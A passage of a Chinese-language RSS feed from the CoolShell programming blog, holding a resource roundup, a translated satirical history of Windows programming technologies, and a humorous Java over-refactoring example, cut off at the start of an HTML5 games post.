target=\"_blank\">检查网页浏览器的兼容性</a>》的文章向你介绍过如何查看网站在不同浏览器中和操作系统下的效果（其也是一个在线服务）。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>当然，Web上的开发，问题最大的还是安全问题，我们的Ruby on Rails给出了一个<a href=\"http://guides.rubyonrails.org/security.html\" target=\"_blank\"><strong>Web安全的开发教程</strong></a>，相当不错哦。谈到了几乎所有最有威胁和最常用的网上攻击，这个文档应该是所有Web开发者都需要注意的。</li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>下面是一个给新手学习linux用的一个桌面（点击图片看大图），其列出了很多常用的命令，以及VI的常用命令。关于VI的一些东西，你可以查看<a href=\"https://coolshell.cn/articles/tag/vim\" target=\"_blank\">本站的这些文章</a>，如：<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1651.html\" target=\"_blank\">VIM有趣的命令</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/894.html\" target=\"_blank\">如何在vim中得到你最喜爱的IDE特性</a></li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://i.imgur.com/CJkR9.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"Linux命令桌面\" src=\"http://i.imgur.com/CJkR9.png\" alt=\"\" width=\"553\" height=\"346\" /></a></p>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li>最后，给大家介绍一个关于文件格式方面东西，我们知道，很多文件的开头表明着这个文件的类型，所以，有这样的一个网站了维护了这么一个信息列表，其把几乎所有常见的文件头的那段和文件类型相关的Magic Number列了出来，而且还保持更新，非常不错哦，这个网站是：<strong><a href=\"http://www.garykessler.net/library/file_sigs.html\">http://www.garykessler.net/library/file_sigs.html</a><span style=\"font-weight: normal;\">，希望能对你有用哦。</span></strong></li>\n</ul>\n<p><span style=\"color: #ffffff;\">→</span></p>\n<ul>\n<li><strong><span style=\"font-weight: normal;\">最最后，给大家介绍一个开源项目，叫<a href=\"http://structuresynth.sourceforge.net/\" target=\"_blank\"><strong>Structure Synth</strong></a>，这个东西可以用来画出一些很酷的图，相当不错，使用起来非常简单，我试用了一下，的确很强大。用一些简单的脚本就可以作出很不错的3D图，下面是他的一个示例，只需要写那么不到10行的代码，很简单。</span></strong></li>\n</ul>\n<p><a href=\"http://structuresynth.sourceforge.net/index.php\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3018\" title=\"Structure Synth\" src=\"https://coolshell.cn/wp-content/uploads/2010/09/Structure-Synth.jpg\" alt=\"\" width=\"500\" height=\"301\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/09/Structure-Synth.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/09/Structure-Synth-300x180.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a></p>\n<p style=\"padding-left: 60px;\">想看看，大家用这个东西做什么酷图了吗？上 <a href=\"http://www.flickr.com/groups/structuresynth/\" target=\"_blank\">http://www.flickr.com/groups/structuresynth/</a> 看看吧。</p>\n<p id=\"pool_4652540301\" style=\"text-align: center;\"><a title=\"structure 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4652540301/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4029/4652540301_db50832fdc_t.jpg\" border=\"0\" alt=\"structure 作者 Supreet Kumar\" width=\"100\" height=\"56\" /></a> <a title=\"architecture x-ray 2 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4652540021/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4044/4652540021_0f17294ca5_t.jpg\" border=\"0\" alt=\"architecture x-ray 2 作者 Supreet Kumar\" width=\"100\" height=\"62\" /></a> <a title=\"perspective 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4650270228/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4002/4650270228_8cc69948bc_t.jpg\" border=\"0\" alt=\"perspective 作者 Supreet Kumar\" width=\"100\" height=\"60\" /></a> <a title=\"snake shade 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4649663253/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4042/4649663253_aa041ab239_t.jpg\" border=\"0\" alt=\"snake shade 作者 Supreet Kumar\" width=\"100\" height=\"57\" /></a> <a title=\"thatched beauty 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4641732162/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm4.static.flickr.com/3414/4641732162_e2b078825f_t.jpg\" border=\"0\" alt=\"thatched beauty 作者 Supreet Kumar\" width=\"100\" height=\"63\" /></a><br />\n<a title=\"aircraft 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4641055399/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm4.static.flickr.com/3353/4641055399_25688820a9_t.jpg\" border=\"0\" alt=\"aircraft 作者 Supreet Kumar\" width=\"100\" height=\"70\" /></a> <a title=\"aircraft 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4641055019/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4064/4641055019_6ed80cd1b9_t.jpg\" border=\"0\" alt=\"aircraft 作者 Supreet Kumar\" width=\"100\" height=\"65\" /></a> <a title=\" 作者 FracturedPixel\" href=\"http://www.flickr.com/photos/cav666/4640849748/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4062/4640849748_0532451842_t.jpg\" border=\"0\" alt=\" 作者 FracturedPixel\" width=\"100\" height=\"63\" /></a> <a title=\"splash1 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4636427318/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4008/4636427318_c84acf4aa4_t.jpg\" border=\"0\" alt=\"splash1 作者 Supreet Kumar\" width=\"100\" height=\"63\" /></a> <a title=\"joy 作者 Supreet Kumar\" href=\"http://www.flickr.com/photos/9857764@N02/4635820649/in/pool-structuresynth\"><img decoding=\"async\" loading=\"lazy\" src=\"http://farm5.static.flickr.com/4012/4635820649_720cd6599b_t.jpg\" border=\"0\" alt=\"joy 作者 Supreet Kumar\" width=\"100\" height=\"53\" /></a></p>\n<p id=\"pool_4635820649\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3013.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>45</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Windows编程革命简史</title>\n\t\t<link>https://coolshell.cn/articles/3008.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3008.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 27 Sep 2010 00:51:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[.NET]]></category>\n\t\t<category><![CDATA[ActiveX]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[COM]]></category>\n\t\t<category><![CDATA[DDE]]></category>\n\t\t<category><![CDATA[J++]]></category>\n\t\t<category><![CDATA[OLE]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3008</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>源文：A Brief History of Windows Programming Revolutions （Ron Burk） 首先，是 Windows AP...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3008.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3008.html\">Windows编程革命简史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>源文：<a href=\"http://www.drdobbs.com/windows/225701475\" target=\"_blank\">A Brief History of Windows Programming Revolutions</a> （Ron Burk）</p>\n<p>首先，是 Windows API 和 <a href=\"http://en.wikipedia.org/wiki/DLL_hell\" target=\"_blank\">DLL Hell</a>。（译注：DLL Hell——DLL灾难，就是微软的DLL升级时因为不同版本可能造成应用程序无法运行的灾难，首当其冲的是COM编程，相信大家都知道某些木马或是病毒更改了一些系统的DLL可以导致整个Windows不举，这就是DLL Hell） 于是，第一次革命是<a href=\"http://en.wikipedia.org/wiki/Dynamic_Data_Exchange\" target=\"_blank\">DDE</a>——我们可以创建一个状态条在上面显示Microsoft的股票价格（译注：Dynamic Data Exchange，工作原理是： 甲方申请一块全局内存，然后把内存指针postmessage到乙方，乙方根据收到的指针访问那块全局内存）。</p>\n<p>在那个时候，Microsoft 创建了 VERSIONINFO 资源来管理版本信息，当然，是用来消除DLL Hell。但是，另一个微软内部的小组发现了DDE的致命缺陷：这不是他们做的！</p>\n<p>为了解决这个问题，他们创造了OLE（很像DDE，只是名字不一样），而且，我还记得在一次 Microsoft 大会上，某个微软的演讲者正式宣布—— Windows API 马上就会被 OLE API 所重写并取代，我还盲目地相信了这一说法。而且，所有的在图形界面的控件都会是OCX，那是OLE引入的接口，同样，其目的是为了消除DLL Hell。相信大家都记得，那个时候，我们是怎么地梦想着有一天，我们的应用程序（当然是非常大的程序）可以完全地被嵌入到Word文档中。</p>\n<p>然而，在Microsoft的某处，Microsoft有些人开始信仰 C++，其确信MFC的出现并可以解决所有的一切问题，但是，因为历史原因，OLE并没有出局，其改了一个名字，叫COM，此时，我们立马意识到OLE（以前的DDE？）真正意味着什么——其用精心的版本管理系统来消除DLL Hell。与此同时，Microsoft的一个变节小组发现了一个MFC的致命缺陷：这不是他们做的！</p>\n<p><span id=\"more-3008\"></span></p>\n<p>当然，微软件的动作是很快的，他们立刻修正了问题——创造了ATL，有些像MFC，只是名字不同，他们想使用漂亮的ATL把那些晦涩难懂的COM的知识给隐藏住。这个动作刺激了COM团队（或是OLE团队？）改名为ActiveX，并发布了成千上万的新接口（甚至是很多版本化的接口，当然，主要目的是为了消除DLL Hell），当然，ActiveX可以让我们的程序可以从Web游览器上下载，并可以完美地和病毒一起嵌入浏览器中（哈，还不紧跟时代，感谢ATL吧）。此时，操作系统团队就像一个失宠的孩子一样，大声呼喊着“<a href=\"http://www.microsoft.com/middleeast/egypt/cmic/\" target=\"_blank\">Cairo操作系统</a>来了”引起大家注意，当然有一些怪异恶心的东西连他们自己也无法解释清楚，所以，别提发布了。为了声誉，操作系统团队的确引入了“系统文件保护”的理念，当然也是为了消除DLL Hell。</p>\n<p>这个时候，Microsoft的某个团队发现了Java的致命缺陷：这不是他们做的！于是他们创造了一个叫J，或是Jole，或是ActiveJ的东西（对不起，我真的记不起叫什么了）来挽救Java（译者：应该是Visual J++）。看起来很像Java，只是名字不同罢了。这太让人兴奋了，但是Sun使用了一些相当古老的法律条款向Microsoft提起了法律诉讼，其在一年内限制了任何一个公司可以发布类似Java的产品。这明显是抑制微软复制别人产品的一次尝试，唯一不同的，其结果导致了微软流向国会议员裤兜的现金网络的建立（在这个网络可以得到时事新闻和价值$14.75的T恤衫）。还记得 J/Jole/ActiveJ 的项目经理用他的鞋桌在敲着桌子并信誓旦旦地坚持 Microsoft 将永远不会放弃他的产品。SB！所有的这些也就仅仅意味着一件事——没有人关心ActiveX团队（或者是COM？）。令人难以置信的是，微软把这些东东全部集成起来，成了COM+（难道不应该是ActiveX+?），还有MTS（我不知道为什么没有COM和Active或是X或是+的字眼，而直接叫MTS了——我为这个名词感到实实在在地震惊！）。他们总是那么NB地为那些流行词加上“+”号。在那段时间，还有人曾叫喊着“Windows DNA”以及“Windows Washboard”，但这两个东西最终在我搞清是什么玩意的之前就夭折了。</p>\n<p>在这一点上，Microsoft已经很不安地窥视着Internet好几年了，他们终于意识到Internet上有一个致命缺陷：嗯，你应该知道这是什么（译注：Internet不是做他们做的！）。于是他们开始培养我们和.NET约会（.NET的发音很像“doughnut”圆环图，不过，这只是他们的唯一不同），这和Internet很相似，只不过.NET有更多的印刷品。其让我们清楚再清楚地了解一件事：.NET会消除DLL Hell。.NET包含了一个新的编程语言，叫C#（为了解决已经死翘翘的Active++ J++的缺陷）。.NET还包含一个虚拟机，所有的语言都运行在上面（这主要是为了解决依赖于Intel CPU的缺陷）。.NET还包含了一个单一的登录系统（这主要是为了解决“不把口令存放在Microsoft服务器上”的缺陷）。实际上，我们更容易做的是把.NET不包含的事给列出来。.NET绝对是一个划时代地Windows编程革命……当然，仅到明年。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"一个浮点数跨平台产生的问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_title\">一个浮点数跨平台产生的问题</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\".NET代码转换器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2672.html\" class=\"wp_rp_title\">.NET代码转换器</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3008.html\">Windows编程革命简史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3008.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>239</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>代码重构的一个示例</title>\n\t\t<link>https://coolshell.cn/articles/3005.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3005.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 25 Sep 2010 00:33:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[program]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3005</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前和大家提到过的《各种流行的编程风格》吗？有一些人问我那些编程风格具体是什么样子的。下面是一个代码重构的实例，让我们看看那个流行的编程风格是实践是什么样...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3005.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前和大家提到过的《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程风格</a>》吗？有一些人问我那些编程风格具体是什么样子的。下面是一个代码重构的实例，让我们看看那个流行的编程风格是实践是什么样的。下面的这个实践不是虚构，如有雷同，请对号入座。</p>\n<p>首先，我们有一个表达式如下所示：</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">s = 7;</code></p>\n<p>很明显，这个表达式的变量名太没意义了，很不利于程序的可读性，所以，我们需要取一个有意义的变量名：</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">slots = 7;</code></p>\n<p>很好，不过，那个常量7是hard-code或是一个Magic number，而且，这常量没有名字也不利于代码的可读性啊。再改：</p>\n<p><span id=\"more-3005\"></span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">SEVEN = 7;\n...\nslots = SEVEN;</pre>\n<p>靠！上面，是这是哪门子的改法？（不过，我保证这是真实发生的），常量名也要有意义一点嘛，再改：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">SLOTS_PER_WIDGET = 7;\n...\nslots = SLOTS_PER_WIDGET;</pre>\n<p>这还差不多，不过，名字可能会重名啊，最好放到一个类中：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">import widgetConstants;\n...\nslots = widgetConstants.SLOTS_PER_WIDGET;</pre>\n<p>现在看起来好很多了，不过，即然面向对象了，我们当然要学会使用Design Pattern，比如Factory啊，或是Singleton啊什么的：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">widgetModelFactory = WidgetModelFactory.getInstance();\nwidgetModel = widgetModelFactory.getWidgetModel() ;\nslots = widgetModel.getSlotsPerWidget();</pre>\n<p>当然，要是考虑到整体的类结构，上面的那些还不够，下面是我们最终的重构代码：（欢迎来到真实的Java世界）</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">context = Context.getCurrentContext();\nserviceDirectoryFactory = ServiceDirectoryFactory.getServiceDirectory(context);\nserviceDirectory = serviceDirectoryFactory.getServiceDirectory(context);\nserviceDescriptor = ServiceDescriptorFactory.getDescriptor(&quot;widgetModelFactory&quot;);\nwidgetModelFactoryServiceLocator = serviceDirectory.getServiceLocator(serviceDescriptor,context);\nwidgetModelFactory = (WidgetModelFactory)widgetModelFactoryServiceLocator.findService(context);\nwidgetModel = widgetModelFactory.getWidgetModel(context);\n\nslots = widgetModel.getSlotsPerWidget();</pre>\n<p>这就是我们的面像对象的编程模式，记得N年前在面试那家著名的以鼓吹敏捷方法论的公司时，在用程序实现一个程序题的时候，他们对我的程序很不屑一顾，原因有两个，其一、我没有使用TDD写UT Case，其二、我的程序里没有设计模式。（我才知道，编程原来是为了测试和设计模式，而不是为了原来的需求），今天，仅以此文献给钟爱于<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">那些流行编码风格</a>的程序员们。</p>\n<p>其实，这段代码也是如下而已罢了。</p>\n<p><code data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">slots = thisWidget.getSlotCount();</code></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"弱爆程序员的特征值\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5292.html\" class=\"wp_rp_title\">弱爆程序员的特征值</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3005.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>79</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTML5 小游戏展示</title>\n\t\t<link>https://coolshell.cn/articles/2998.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2998.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 21 Sep 2010 10:48:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2998</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>使用 HTML5 的 Canvas可以搞出一些很有趣的东西，如2D图形，位图，动画等。而使用Javascript来操作这些东西，可以设计出很多的小游戏。 下面是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2998.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2998.html\">HTML5 小游戏展示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>使用 HTML5 的 Canvas可以搞出一些很有趣的东西，如2D图形，位图，动画等。而使用Javascript来操作这些东西，可以设计出很多的小游戏。 